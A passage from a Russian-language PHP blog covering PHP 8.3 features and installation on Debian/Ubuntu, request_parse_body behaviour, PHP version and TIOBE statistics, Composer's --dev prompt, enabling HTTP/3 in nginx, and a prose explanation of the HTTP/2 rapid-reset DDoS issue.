  Заголовок Content-Type содержит значение, отличное от multipart/form-data или application/x-www-form-urlencoded.

• RequestParseBodyException: Missing boundary in multipart/form-data POST data

  Запрос не содержит границы. Убедитесь, что запрос правильно отформатирован как multipart/form-data или application/x-www-form-urlencoded.

• RequestParseBodyException: POST Content-Length of ... bytes exceeds the limit of ... bytes

  Длина содержимого превысила значение post_max_size, установленное в $options или INI.

• RequestParseBodyException: Multipart body parts limit exceeded ... To increase the limit change max_multipart_body_parts in php.ini

  Части данных запроса превысили значение max_multipart_body_parts, установленное в параметре $options или INI.

• RequestParseBodyException: Input variables exceeded ... To increase the limit change max_input_vars in php.ini.

  Части данных запроса превысили значение max_input_vars, установленное в $options или INI.

• RequestParseBodyException: Maximum number of allowable file uploads has been exceeded

  Количество загружаемых файлов превышает значение max_file_uploads, установленное в $options или INI.

Предостережения request_parse_body

Функция request_parse_body предназначена для вызова только один раз за запрос и разрушительно воздействует на php://input. При последующих вызовах функция вернет массив с пустыми данными, а поток php://input будет пуст после первого вызова request_parse_body().

Не идемпотентное поведение request_parse_body

Обратите внимание, что вызов функции request_parse_body потенциально может привести к деструктивному поведению, включая поглощение потока php://input и очистки его содержимого.

• Вызов функции request_parse_body поглощает поток php://input, после этого поток php://input будет пуст.

• Если php://input поток был прочитан ранее (например file_get_contents('php://input'), функция request_parse_body возвратит пустой результат ([0 => [], 1 => []]).

• функция request_parse_body не изменяет напрямую глобальные переменные $_POST и $_FILES; при желании приложение PHP может перезаписать эти переменные.

• Только первый вызов функции request_parse_body возвращает проанализированные данные. Последующие вызовы возвращают пустой результат ([0 => [], 1 => []]).

• Даже если функция выдает исключение, php://input все равно используется и очищается, а последующие request_parse_body вызовы возвращают пустой результат.

Итак, на выходе мы имеем нативную функцию, которая позволит избавиться от некоторой логики в фреймворках или пользовательских приложений, будет иметь более высокую скорость обработки и безопасность.

Давайте дружно похлопаем и поблагодарим Илью Товило за столь замечательный функционал!

Ежегодный пост со статистикой версии PHP из открытых данных экосистемы composer. Это означает, что эти диаграммы не являются на 100% точным представлением сообщества PHP в целом, но они являются точным представлением одной пакетов composer PHP.

Здесь можно посмотреть предыдущую версию отчета.

Статистика использования

Давайте начнем с процента версий PHP, используемых сегодня, и сравним его с предыдущими тремя редакциями. Обратите внимание, что я опустил все версии, использование которых не превышает 1%:

Визуализация этих данных выглядит следующим образом:

Похоже, что внедрение PHP 8.3 происходит немного быстрее по сравнению с PHP 8.2: 6,4% проектов используют PHP 8.3 в течение первых двух месяцев после его выпуска, для PHP 8.2 этот показатель в свое время составил 4,7%.

Более того, доля PHP 7.* продолжает сокращаться - и это хорошо, учитывая, что поддержка серии 7.* закончилась более года назад. На данный момент PHP 8.1 является самой старой поддерживаемой версией, обновления безопасности которой будут получать только до 25 ноября этого года. Это важно обновить ваши версии PHP!

Переходя к обзорной диаграмме за все время, здесь вы можете увидеть эволюцию использования версий с течением времени:

Требуемые версии

Если использовать анализатор популярных пакетов Никиты Попова, чтобы загрузить 1000 самых популярных пакетов composer и сканировать их, чтобы определить их минимально необходимую версию, то получим результаты:

Здесь следует сделать два важных замечания.

1. В этой таблице показана минимальная необходимая версия . Это означает, что пакеты минимальной версии, например 8.0, также могут поддерживать PHP 8.1, PHP 8.2 и PHP 8.3.

2. Если вы посчитаете цифры, вы заметите, что между каждым годом есть некоторые различия. Не в каждом пакете указана действительная строка версии.

Вместо сравнения абсолютных чисел лучше всего представить эти данные в виде диаграммы для относительного сравнения, чтобы мы могли видеть изменения с течением времени:

Предыдущие выпуски

Статистика версий PHP - июль 2023

Статистика версий PHP - январь 2023

Статистика версий PHP - июль 2022

Статистика версий PHP - январь 2022

Статистика версий PHP - январь 2021

Интересные события произошли в рейтинге TIOBE.

Впервые в истории индекса TIOBE C# получил награду «Язык программирования года». На втором месте Scratch (+0,83%) и Fortran (+0,64%). C# отнимает долю рынка у Java и становится все более популярным в таких областях, как серверная часть веб-приложений и игры (спасибо Unity). C# можно использовать бесплатно, и он постоянно развивается, делая язык более выразительным с каждой новой версией. C# никуда не денется и, возможно, вскоре он сможет даже превзойдет Java.

Помимо C#, в прошлом году в индексе TIOBE произошло много интересных изменений. Fortran и Kotlin навсегда вошли в топ-20 игроков, заменив старых фаворитов R и Perl. Фортран очень хорошо подходит для вычислений с помощью хороших библиотек и остается фаворитом университетов во многих областях. Kotlin — простой в изучении/написании конкурент Java.

Что интересно Julia ненадолго коснулась индекса TIOBE в 2023 году, но не смогла удержать эту позицию.

JavaScript поднялся на 6 место, а PHP на 7-ое.

Так же можно посмотреть динамику изменения индекса PHP с годами:

Когда вышел Composer 2.4, там была добавлена одна интересная ​​функция, при которой команда composer require предлагает установить пакет с --dev флагом, если устанавливаемый пакет предназначен для использования в качестве инструмента разработчика.

При передаче флага --dev пакет устанавливается в раздел require-dev composer.json файла, а другие команды Composer (такие как composer update, install, dump-autoload и т. д.) могут при необходимости пропускать зависимости require-dev.

При попытке установить PHPUnit Composer автоматически предлагает установить его с флагом --dev.

Как это работает, Composer проверяет раздел keywords в файле composer.json и, если он содержит ключевые слова dev, testing, или static analysis, то Composer предлагает пользователю установить его с флагом --dev, если он не был передан.

В предложении указывается причина, по которой пакет был определен как зависимость от разработчика:

The package you required is recommended to be placed in require-dev (because it is tagged as "testing") but you did not use --dev.

Но стоит заметить, что данная функция не будет работать, если Composer запускается в неинтерактивной среде (например, при сборке CI или при передаче флага --no-interaction).

Как сделать флаг приглашения --dev Composer в ваших пакетах

Если вы публикуете пакет разработчика (например, инструменты тестирования, инструменты фиксации данных, инструменты отладки и т. д.), вы можете использовать эту функцию, чтобы Composer в интерактивном режиме предлагал пользователю установить их в разделе require-dev на случай, если пользователь забудет использовать флаг --dev.

Для этого добавьте одно из следующих ключевых слов в раздел keywords файла composer.json:

• dev

• testing

• static analysis

для примера:

"name": "name/your-dev-package",
"keywords": ["dev"],
"type": "library",

Ключевое слово должно присутствовать только в ветке по умолчанию, а не обязательно во всех ветках и тегах.

PHP 8.3 - это главное обновление PHP 2023 года. Он содержит новые интересные функции, такие как типизированные константы в классах, новый тип исключений в DateTime, новая функция json_validate, а также несколько других изменений. Как обычно, в новом релизе PHP содержит несколько исправлений ошибок и улучшений, а также повышение производительности.

В этой статье объясняется, как установить PHP 8.3 в современных системах Linux - Debian и Ubuntu. Аналогичным способом также можно установить некоторые из наиболее популярных расширений PECL.

Быстрый старт для администраторов

Если вы опытный разработчик/девопс и вам достаточно вспомнить последовательность команд для установки.

Debian (10, 11, 12)

# Можете сохранить существующий список пакетов PHP в файл packages.txt.
sudo dpkg -l | grep php | tee packages.txt

# Добавьте источник репозитория Ondrej и ключ подписи вместе с зависимостями.
sudo apt install apt-transport-https

sudo curl -sSLo /usr/share/keyrings/deb.sury.org-php.gpg https://packages.sury.org/php/apt.gpg
sudo sh -c 'echo "deb [signed-by=/usr/share/keyrings/deb.sury.org-php.gpg] https://packages.sury.org/php/ $(lsb_release -sc) main" > /etc/apt/sources.list.d/php.list'

sudo apt update

# Установите новые пакеты PHP 8.3
sudo apt install php8.3 php8.3-cli php8.3-{bz2,curl,mbstring,intl}

# Установите FPM для Nginx
sudo apt install php8.3-fpm

# или Apache модуль
# sudo apt install libapache2-mod-php8.3
# Тут же для Apache включите PHP 8.3 FPM
sudo a2enconf php8.3-fpm

# Выключить предыдущие версии:
sudo a2disconf php8.2-fpm

# Удалите старые пакеты если надо
sudo apt purge php8.2*

Ubuntu (20.04, 22.04, 24.04)

# Сохранить существующий список пакетов PHP в файл packages.txt.
sudo dpkg -l | grep php | tee packages.txt

# Репозиторий Ondrej PPA
sudo add-apt-repository ppa:ondrej/php # Нажмите Enter

sudo apt update

# Установка PHP 8.3 и расширений
sudo apt install php8.3 php8.3-cli php8.3-{bz2,curl,mbstring,intl}

# Установка FPM
sudo apt install php8.3-fpm

# или Apache модуль
sudo apt install libapache2-mod-php8.3
# Для Apache включить PHP 8.3 FPM
sudo a2enconf php8.3-fpm
# выключаем предыдущие версии Apache:
sudo a2disconf php8.2-fpm

# удаляем старую версию если надо
sudo apt purge php8.2*

Подробное руководство по установке/обновлению PHP 8.3

Ни одна из текущих версий Debian и Ubuntu не включает PHP 8.3 в репозитории программного обеспечения по умолчанию. Готовые пакеты PHP доступны из репозитория, поддерживаемого Ondřej Surý, который и используется в этой статье. Пакеты в этом репозитории имеют ту же конфигурацию, имена пакетов и конфигурацию systemd, что и пакеты PHP, предоставляемые репозиториями программного обеспечения ОС.

В этой статье основное внимание уделяется Ubuntu 22.04 (Jammy), Ubuntu 20.04 (Focal), Ubuntu 24.04 (Noble), Debian 10 (Buster), Debian 11 (Bulseye) и Debian 12 (Bookworm), как последним актуальным версиям.

Перечислить и записать существующие пакеты PHP

При обновлении существующей версии PHP следующая команда перечисляет все установленные пакеты со словом php в имени пакета и сохраняет их в файл packages.txt, а также выводит их в терминале.

Это будет полезно для установки соответствующих пакетов PHP 8.3 на следующих шагах.

Этот шаг не обязателен при установке PHP в новой системе.

dpkg -l | grep php | tee packages.txt

Добавить репозиторий ondrej/php

Следующие команды добавляют репозиторий в список репозиториев программного обеспечения и запускается apt update для получения списка пакетов, доступных из нового репозитория, а также из существующих репозиториев.

Debian

sudo apt install apt-transport-https
sudo curl -sSLo /usr/share/keyrings/deb.sury.org-php.gpg https://packages.sury.org/php/apt.gpg
sudo sh -c 'echo "deb [signed-by=/usr/share/keyrings/deb.sury.org-php.gpg] https://packages.sury.org/php/ $(lsb_release -sc) main" > /etc/apt/sources.list.d/php.list'
sudo apt update

Ubuntu

sudo add-apt-repository ppa:ondrej/php # Нажмите Enter
sudo apt update

Установить расширения PHP 8.3

После добавления репозитория PHP Ондрея, расширения PHP теперь можно устанавливать с помощью apt. Все пакеты PHP 8.3 следуют ставить по шаблону php8.3-name_ext. Эти имена совпадают и переопределяют версии PHP, предоставленные собственными репозиториями ОС.

sudo apt install php8.3-common php8.3-cli php8.3-fpm php8.3-{curl,bz2,mbstring,intl}

Расширение php8.3-common представляет собой метапакет, который устанавливает несколько расширений PHP. Позже можно выборочно отключить отдельные расширения. Нет необходимости и возможности устанавливать их как отдельные пакеты.

Дополнительные расширения PHP

В репозитории также доступно несколько расширений PECL, которые можно легко установить без необходимости компилировать. Сюда входят некоторые наиболее популярные расширения PECL, такие как Image Magick, APCu, Xdebug и Redis.

Интеграция с веб-сервером

В большинстве случаев PHP интегрирован с веб-сервером. Интеграция с PHP-FPM по протоколу Fast CGI является наиболее распространенным подходом, хотя также возможна интеграция PHP с другими SAPI.

Nginx, Caddy , Litespeed и другие серверы через Fast CGI

После установки PHP-FPM - php8.3-fpm systemd регистрирует службу для PHP 8.3 FPM по адресу сокета /run/php/php8.3-fpm.sock.

Apache

sudo a2enconf php8.3-fpm
sudo a2disconf php8.2-fpm # When upgrading from an older PHP version
sudo systemctl restart apache2

Если Apache настроен для запуска PHP в качестве модуля Apache (обычно называемого mod_php или mod_php8), установите libapache2-mod-php8.3 пакет вместо php8.3-fpm:

sudo apt install libapache2-mod-php8.3
sudo a2enmod php8.3

# Выключить предыдущую версию и перезагрузить Apache
sudo a2dismod php8.2 
sudo systemctl restart apache2

Тест/проверка установки PHP 8.3

После установки всех пакетов наступает момент истины, чтобы проверить, прошла ли новая установка успешно:

php -v

PHP 8.3.0 (cli) (built: Nov 23 2023 08:49:45) (NTS)
Copyright (c) The PHP Group
Zend Engine v4.3.0, Copyright (c) Zend Technologies
    with Zend OPcache v8.3.0, Copyright (c), by Zend Technologies

Удалить старые версии PHP

Чтобы удалить старые версии PHP, запустите apt purge с префиксом версии PHP. Например, следующие команды удаляют пакеты и конфигурацию PHP 8.2:

sudo apt purge php8.2*

Запуск PHP 8.3 вместе с другими версиями PHP

PHP 8.3 можно установить и использовать вместе с другими версиями PHP. Именно это и происходит при установке PHP 8.3 без предварительного удаления старых пакетов PHP.

sudo update-alternatives --config php

По умолчанию php будет связано с последней версией PHP, но его можно изменить. Используйте команду update-alternatives. При этом появится приглашение интерактивно выбрать альтернативный путь PHP.

  Выбор   Путь         Приор Состояние
------------------------------------------------------------
* 0            /usr/bin/php8.3   83        автоматический режим
  1            /usr/bin/php8.2   82        ручной режим
  2            /usr/bin/php8.1   81        ручной режим
Нажмите «enter», чтобы не менять текущий выбор[*], или введите нужное число: 

PHP 8.3 был выпущен 23 ноября 2023 года. В нем есть улучшения классов только для чтения, новая функция json_validate(), дополнения к недавно добавленному классу Randomizer, обнаружение переполнения стека и многое другое.

Поправки для только для чтения rfc

В этом RFC было предложено два изменения, но было принято только одно: возможность повторной инициализации свойств только для чтения во время клонирования. Правда этот RFC касается только конкретного (но важного) случая: перезапись значений свойств внутри __clone(), чтобы разрешить глубокое клонирование свойств только для чтения:

readonly class Post
{
    public function __construct(
        public DateTime $createdAt,
    ) {}
    
    public function __clone()
    {
        $this->createdAt = new DateTime(); 
        // здесь это разрешено,
        // даже не смотря на то что свойство `createdAt` только для чтения.
    }
}

Типизированные константы класса rfc

Типизированные константы класса могут быть объявлены в классах, интерфейсах, трейтах и ​​перечислениях, вы можете указать типы констант класса так:

class Foo
{
    public const string A = 'a';
    public const int B = 1;
    public const float C = 1.1;
    public const bool D = true;
    public const array E = ['a', 'b']; 
} 

Типы констант класса поддерживают все объявления типов PHP, кроме void, callable и never. Константы класса являются ковариантными, что означает, что их типы не могут расширяться во время наследования.

Атрибут #[Override] rfc

Новый атрибут #[Override] используется, чтобы показать намерение программиста: "Я знаю, что этот метод переопределяет родительский метод. Если это когда-либо изменится, сообщите мне".

Вот пример:

abstract class Parent
{
    public function methodWithDefaultImplementation(): int
    {
        return 1;
    }
}

final class Child extends Parent
{
    #[Override]
    public function methodWithDefaultImplementation(): void
    {
        return 2; // The overridden method
    }
} 

Теперь давайте представим, что в какой-то момент родительский метод меняет имя своего метода: 

abstract class Parent
{
    public function methodWithNewImplementation(): int
    {
        return 1;
    }
}

Благодаря этому атрибуту #[Override] PHP сможет определить, что он больше ничего не переопределяет, и выдаст ошибку.   

Отрицательные индексы в массивах нарушение

Если у вас есть пустой массив, и вы добавите элемент с отрицательным индексом, а затем добавите еще один элемент, этот второй элемент всегда будет начинаться с индекса 0:

$array = [];

$array[-5] = 'a';
$array[] = 'b';

var_export($array);

//array (
//  -5 => 'a',
//  0 => 'b',
//)

Начиная с PHP 8.3, следующий элемент будет добавлен в index -4:

//array (
//  -5 => 'a',
//  -4 => 'b',
//)

Анонимные классы только для чтения upd

Ранее нельзя было пометить анонимные классы как доступные только для чтения. Это исправлено в PHP 8.3:

$class = new readonly class {
    public function __construct(
        public string $foo = 'bar',
    ) {}
};

Новая функция json_validate rfc

В PHP 8.3 добавлена ​​новая функция json_validate(), которая возвращает true или false в том случае, если заданная строка является допустимой строкой JSON. До PHP 8.3 единственным способом определить, является ли заданная строка допустимой строкой JSON, была попытка ее декодирования и проверка наличия каких-либо ошибок. Новая функция json_validate() использует тот же базовый синтаксический анализатор JSON, что и PHP, но потребует меньше памяти:

json_validate('[1, 2, 3]'); //true
json_validate('{1, 2, 3]'); //false

Динамический доступ к константам класса и Enum rfc

До PHP 8.3 синтаксис доступа к константам класса типа ClassName::{$varName}  был запрещен и приводил к синтаксической ошибке:

Parse error: syntax error, unexpected token ";", expecting "(" in ... on line ...

То же ограничение применялось и к Enum, где было невозможно получить элемент Enum динамически:

Parse error: syntax error, unexpected token "->", expecting "(" in ``` on line ```

Теперь PHP 8.3 и более поздние версии поддерживают динамическое получение констант класса и объектов Enum с именем переменной:

class MyClass {
    public const MY_CONST = 42;
}

$constName = 'MY_CONST';

echo MyClass::{$constName};

Функция gc_status() возвращает дополнительную информацию GC rfc

Функция gc_status() возвращает статистику сборщика мусора PHP и имеет четыре новых поля: running, protected, full и buffer_size: работает ли сборщик мусора, защищен ли сборщик мусора и размер буфера. Эта информация может быть полезна при отладке долго работающих PHP-приложений для обнаружения и оптимизации использования памяти.

var_dump(gc_status());

Новый метод \Random\Randomizer::getBytesFromString rfc

Класс \Random\Randomizer в PHP 8.3 поддерживает новый метод getBytesFromString, который возвращает последовательность случайных чисел запрошенной длины (параметр $length), содержащую только байты из запрошенной последовательности байтов (параметр $string).

namespace Random;  

class Randomizer {  
  // ...  
   public function getBytesFromString(string $string, int $length): string { }
 }

$rng = new Random\Randomizer();
$crockfordAlphabet = '0123456789ABCDEFGHJKMNPQRSTVWXYZ';

$rng->getBytesFromString($crockfordAlphabet, 5); // "5YH8T"

Новые методы \Random\Randomizer::getFloat() и nextFloat() rfc

RFC добавляет новые методы в расширении Random, генерирующие случайное значение. \Random\Randomizer::getFloat()\Random\Randomizer::nextFloat(). Например если необходимо сгенерировать случайное число float между 0 <и < 10 и в диапазоне 0 <= и < 1:

$rng = new Random\Randomizer();
$rng->getFloat(0, 10, \Random\IntervalBoundary::OpenOpen); // 9.3835746900717

...

$rng = new Random\Randomizer();
$rng->nextFloat(); // 0.21185336351144

PHP CLI Lint (php -l) поддерживает проверку нескольких файлов одновременно

PHP CLI предоставляет функцию Linting, которая проверяет переданное имя файла на наличие синтаксических ошибок. Это полезно для быстрой проверки PHP-файла или куска кода перед выполнением:

php -l index.php

//No syntax errors detected in index.php

До PHP 8.3 было невозможно выполнить анализ нескольких файлов PHP за один вызов; независимо от количества предоставленных файлов, PHP CLI анализирует только первый файл. Начиная с PHP 8.3, можно передавать несколько файлов и PHP CLI проверяет их все за один вызов:

php -l index.php loader.php

// No syntax errors detected in index.php
// No syntax errors detected in loader.php

Более подходящие исключения даты/времени rfc break

Во многих случаях PHP просто выбрасывал объект Exception или Error или выдавал предупреждение/ошибку, когда что-то пошло не так при работе с датами и временем. Этот RFC добавляет для них соответствующие специальные исключения.

Теперь у нас есть исключения, такие как DateMalformedIntervalStringException, DateInvalidOperationException и DateRangeError.

Как правило, эти дополнения не нарушают код, поскольку эти недавно добавленные исключения и ошибки являются подклассами общего Exception/Error классов. Однако в этом RFC есть три небольших критических изменения:

• Теперь Epoch doesn't fit in a PHP integer возвращает new DateRangeError вместо ValueError, который не является подклассом. Это проблема только для 32-битных платформ.
• Предупреждение Only non-special relative time specifications are supported for subtraction становится новым DateTime::sub() date_sub() DateInvalidOperationException
• Предупреждения Unknown or bad format (%s) at position %d (%c): %sи String '%s' contains non-relative elements, которые создаются при анализе неправильных/битых DateInterval строк, теперь будут выдавать новое исключение DateMalformedIntervalStringException при использовании с интерфейсом OO вместо отображения предупреждения и возврата false.

unserialize(): Вывод E_WARNING ошибок вместо E_NOTICE

До версии PHP 8.3 передача недопустимой строки в функцию unserialize() выдавала всего лишь уведомления PHP ( E_NOTICE) в определенных случаях, например, при синтаксических ошибках в сериализованной строке. Начиная с PHP 8.3 выдается предупреждение E_WARNING. Кроме того, некоторые условия ошибки так же изменились в функции serialize(), чтобы выдать E_WARNING:

unserialize("invalid-string");

 - PHP Notice:  unserialize(): Error at offset 0 of 14 bytes //было
 + PHP Warning:  unserialize(): Error at offset 0 of 14 bytes //стало

В идеале невозможность десериализации данной строки должна быть серьезной ошибкой и вызывать исключение. Однако для обеспечения обратной совместимости и упрощения путей обновления уровень ошибок в PHP 8.3 был увеличен, а в будущем возможно его обновление для создания исключений.

Трейты и статические свойства

Использование трейтов со статическими свойствами теперь будет повторно объявлять статические свойства, унаследованные от родительского класса. Это создаст отдельное хранилище статических свойств для текущего класса. Это аналогично добавлению статического свойства в класс напрямую без трейтов.

Обнаружение переполнения стека pr

В PHP 8.3 добавлены две новые директивы ini с именами zend.max_allowed_stack_size и zend.reserved_stack_size. Приложения, близкие к переполнению стека вызовов, теперь могут вызывать Error при использовании больше, чем разница между zend.max_allowed_stack_size и zend.reserved_stack_size.

Преимущество этой функции заключается в том, что ошибки сегментации, вызванные переполнением стека, больше не будут приводить к ошибкам сегментации, что значительно упрощает отладку.

Значение по умолчанию для zend.max_allowed_stack_size равно 0, что означает, что PHP автоматически определит значение. Вы также можете указать -1, что ограничений нет или указать определенное количество байтов. Директива zend.reserved_stack_size используется для определения «буферной зоны», так что PHP может по-прежнему выдавать ошибку вместо того, чтобы фактически исчерпать память. Значение здесь должно быть числом байтов, но PHP сам определит для вас разумное значение по умолчанию, поэтому вам не обязательно устанавливать его, если только вы не сталкиваетесь с пограничными случаями для конкретных приложений.

И наконец, для файберов в качестве максимально допустимого размера стека используется существующая директива fiber.stack_size .

zend.max_allowed_stack_size=128K

Новая функция mb_str_pad rfc

В PHP различные строковые функции доступны в двух вариантах: один для байтовых строк, а другой для многобайтовых строк (mb). Однако заметным отсутствием среди многобайтовых строковых функций mbstring является эквивалент str_pad(). В функции str_pad() отсутствует поддержка многобайтовых символов, что вызывает проблемы при работе с языками, использующими многобайтовые кодировки, такие как UTF-8. Этот RFC предлагает добавить в PHP такую ​​функцию, которую мы будем называть mb_str_pad():

function mb_str_pad(
    string $string, 
    int $length, 
    string $pad_string = " ", 
    int $pad_type = STR_PAD_RIGHT, 
    ?string $encoding = null,
): string {}

// This will pad such that the string will become 10 bytes long.
var_dump(str_pad('Français', 10, '_', STR_PAD_RIGHT));   // BAD: string(10) "Français_"
var_dump(str_pad('Français', 10, '_', STR_PAD_LEFT));    // BAD: string(10) "_Français"
var_dump(str_pad('Français', 10, '_', STR_PAD_BOTH));    // BAD: string(10) "Français_"
 
// This will pad such that the string will become 10 characters long, and in this case 11 bytes.
var_dump(mb_str_pad('Français', 10, '_', STR_PAD_RIGHT));// GOOD: string(11) "Français__"
var_dump(mb_str_pad('Français', 10, '_', STR_PAD_LEFT)); // GOOD: string(11) "__Français"
var_dump(mb_str_pad('Français', 10, '_', STR_PAD_BOTH)); // GOOD: string(11) "_Français_"

Новая функция stream_context_set_options

В PHP есть функция stream_context_set_option, которая поддерживает две сигнатуры функций. Она может либо принимать массив параметров, которые можно установить для одного или нескольких контекстов или обёрток, либо принимать одно имя обёртки, имя параметра или его значение.

В рамках усилий PHP по удалению перегруженных сигнатур функций (функций, поддерживающих более одной сигнатуры), PHP 8.3 объявляет новую функцию stream_context_set_options (обратите внимание на последнюю букву "s" во множественном числе), которая поддерживает вторую сигнатуру выше.

Замыкания магических методов и именованные аргументы

Допустим, у вас есть класс, который поддерживает магические методы:

class Test {
    public function __call($name, $args) 
    {
        var_dump($name, $args);
    }
    
    public static function __callStatic($name, $args) {
        var_dump($name, $args);
    }
}

PHP 8.3 позволяет создавать замыкания из этих методов, а затем передавать этим замыканиям именованные аргументы. Раньше это было невозможно:

$test = new Test();

$closure = $test->magic(...);

$closure(a: 'hello', b: 'world'); 

Инвариантная видимость констант

Ранее видимость констант не проверялась при реализации интерфейса. В PHP 8.3 эта ошибка исправлена, но в некоторых местах она может привести к нарушению кода, если вы не знали об этом поведении: 

interface SomeInterface {
    public const FOO = 'foo';
}

class C implements SomeInterface {
    private const FOO = 'foo';
}

class_alias() поддерживает псевдонимы встроенных классов PHP

Функция class_alias создает псевдоним для предоставленного класса. Класс с псевдонимом ведет себя точно так же, как исходный класс.

Но до PHP 8.3 попытка создать псевдоним для встроенного класса PHP приводила к исключению ValueError:

class_alias('stdClass', 'MyClass'); 
class_alias('Traversable', 'NewTraversableInterface');

ValueError: class_alias(): Argument #1 ($class) must be a user-defined class name, internal class name given

Начиная с PHP 8.3 можно использовать псевдонимы для встроенных классов и интерфейсов и код отработает корректно:

class_alias('stdClass', 'MyClass'); 
class_alias('Traversable', 'NewTraversableInterface');

Функция class_alias() принимает bool $autoload = true в качестве третьего параметра. Этот параметр не влияет на встроенные классы, поскольку их не нужно загружать автоматически.

Небольшие устаревшие RFC

• Не рекомендуется передавать отрицательное значение $width в mb_strimwidth()
• Устареет и будет удалена константа NumberFormatter::TYPE_CURRENCY
• Устареет и будет удалена неработающая реализация Mt19937 до PHP 7.1 (MT_RAND_PHP)
• Устареет и будет удален вызов ldap_connect() с 2 параметрами $host и $port
• Устаревшие остатки строковых вычисляемых утверждений кода

Небольшие, но заметные изменения

И как обычно, не каждое изменение в PHP проходит процесс RFC. На самом деле, большинство изменений включают обслуживание и исправление ошибок и не требуют RFC. Все эти изменения перечислены в документе ОБНОВЛЕНИЕ . Я перечислю некоторые из самых известных, но вам обязательно следует прочитать весь список, если вы хотите узнать о мельчайших деталях.

• При использовании FFI функции C, которые имеют возвращаемый тип void теперь возвращают null вместо FFI\CData:void
• posix_getrlimit() теперь принимает необязательный параметр $res, позволяющий получить ограничение на один ресурс.
• mysqli_poll() теперь выдает ValueError, когда передаются аргументы чтения или ошибки.
• array_pad() теперь ограничено только максимальным количеством элементов, которые может иметь массив. Раньше можно было добавить не более 1048576 элементов за раз.
• Новые функции posix: posix_sysconf(), posix_pathconf(), posix_fpathconf() и posix_eaccess()
• proc_get_status() многократное выполнение теперь всегда будет возвращать правильное значение в posix-системах.
• директива opcache.consistency_checks в ini была удалена
  
• Улучшены array_sum() и array_product()

Ровно пару лет назад я писал про разработку новой версии протокола HTTP - HTTP/3. До недавнего времени это было тестовые ветки разработки, но в настоящее время вы можете уже начать использовать HTTP/3 на своих проектах.

Немного вводной информации о HTTP/3

Конечно же, важным отличием HTTP/3 является то, что он работает на новом транспортном протоколе QUIC. QUIC предназначен для интенсивного использования мобильных устройств в Интернете, когда люди носят с собой смартфоны, которые постоянно переключаются из одной сети в другую в течение дня. Когда были разработаны первые интернет-протоколы, этого еще не было: устройства были менее портативными и нечасто переключались между сетями.

Т.е. QUIC поможет исправить некоторые из самых больших недостатков HTTP/2:

• Разработка решения проблемы низкой производительности при переключении смартфона с Wi-Fi на сотовые данные (например, при выходе из дома или офиса)

• Уменьшение последствий потери пакетов - когда один пакет информации не доходит до места назначения, он больше не блокирует все потоки информации (проблема, известная как «блокировка начала строки»).

Кстати, протокол QUIC был разработан Google еще в 2012 году и принят Инженерной группой Интернета (IETF) — независимой от поставщиков организацией по стандартизации — когда они начали создавать новый стандарт HTTP/3. Посоветовавшись с экспертами со всего мира, IETF внесла множество изменений для разработки собственной версии QUIC.

Включить поддержку HTTP/3 в Nginx

Поддержка протоколов QUIC и HTTP/3 доступна начиная с версии 1.25.0. Также, начиная с 1.25.0, поддержка доступна в готовых пакетах для Linux.

Поддержка QUIC и HTTP/3 экспериментальная, поэтому возможно всё.

Проверяем версию nginx:

nginx -v

Убеждаемся в правильной версии:

$ nginx version: nginx/1.25.3

Для сборки nginx рекомендуется библиотека SSL с поддержкой QUIC, например BoringSSL, LibreSSL или QuicTLS. Иначе, при использовании библиотеки OpenSSL, будет использоваться OpenSSL compatibility layer, в котором не поддерживается early data.

Итак имеем стандартный виртуальный хост nginx с HTTP/2:

server
{
    listen 443 ssl;
    # включаем поддержку http2
    http2 on;  
 
    ssl_protocols TLSv1.2;

    ssl_certificate /path_certs/fullchain.pem;
    ssl_certificate_key path_certs/privkey.pem;
    ...
}

Теперь дополним его директивами для включения HTTP/3:

server
{
    # для лучшей совместимости рекомендуется использовать один порт для quic и https
    # указываем протокол quic и параметр reuseport для правильной работы с несколькими рабочими процессами
    listen 443 quic reuseport;    
    listen 443 ssl;

    # включаем поддержку http2
    http2 on;    
    # включаем поддержку http3
    http3 on;
    # разрешаем GSO
    quic_gso on;
    # разрешаем проверку адреса
    quic_retry on;

    # Для работы QUIC требуется версия протокола TLSv1.3.
    ssl_protocols TLSv1.2 TLSv1.3;

    ssl_certificate /path_certs/fullchain.pem;
    ssl_certificate_key path_certs/privkey.pem;

    # для перенаправления браузеров в quic-порт
    add_header Alt-Svc 'h3=":443"; ma=86400';

    ...

}

В принципе все, если возникнуть проблемы с подключением, убедитесь:

• что nginx собран с правильной SSL-библиотекой и версией

• что клиент действительно поддерживает работу с QUIC

После внесения правок и перезагрузки веб-сервера, можете проверить через сервис поддержку HTTP/3, либо сейчас сразу можете проверить сайт ниже в поле.

При определенных условиях эту уязвимость можно использовать для выполнения атаки типа "отказ в обслуживании" в nginx или других продуктах, реализующих серверную часть спецификации HTTP/2. Чтобы защитить ваши системы от этой атаки, рекомендуется немедленно обновить конфигурацию NGINX или другого веб-сервера.

С чего все началось, ряд сервисов Google подверглись новой DDoS-атаке на основе HTTP/2, пик которой пришелся на август. Эти атаки были значительно масштабнее, чем любые ранее зарегистрированные атаки 7 уровня, при этом самая крупная атака превысила 398 миллионов запросов в секунду.

Хотя воздействие было минимальным, группа реагирования на DDoS-атаки Google рассмотрела их и добавила дополнительные средства защиты для дальнейшего снижения эффекта подобных атак

Проблема со сбросом потока HTTP/2

Основной целью разработки HTTP/2 была эффективность, и к сожалению, функции, которые делают HTTP/2 более эффективным для официальных клиентов, также могут использоваться для повышения эффективности DDoS-атак.

Мультиплексирование потоков HTTP/2

Давайте вспомним как работает HTTP/2, после установления соединения с сервером протокол HTTP/2 позволяет клиентам инициировать параллельные потоки для обмена данными. В отличие от предыдущих итераций протокола, если конечный пользователь решает уйти со страницы или остановить обмен данными по какой-либо другой причине, HTTP/2 предоставляет возможность отменить поток. Это делается путем отправки кадра RST_STREAM на сервер, что избавляет его от ненужного выполнения работы.

Уязвимость используется путем запуска и быстрой отмены большого количества потоков HTTP/2 через установленное соединение, тем самым обходя максимум одновременно запущенных потоков сервера. Это происходит потому, что входящие потоки сбрасываются быстрее, чем приходят последующие потоки, что позволяет клиенту перегружать сервер, даже не достигая настроенного порога.

HTTP/2 использует "потоки", двунаправленные абстракции, используемые для передачи различных сообщений или «кадров» между конечными точками. «Мультиплексирование потоков» — это основная функция HTTP/2, которая позволяет более эффективно использовать каждое TCP-соединение. Потоки мультиплексируются таким образом, что их можно отслеживать с обеих сторон соединения, используя только одно соединение уровня 4. Мультиплексирование потоков позволяет клиентам иметь несколько текущих запросов без управления несколькими отдельными соединениями.

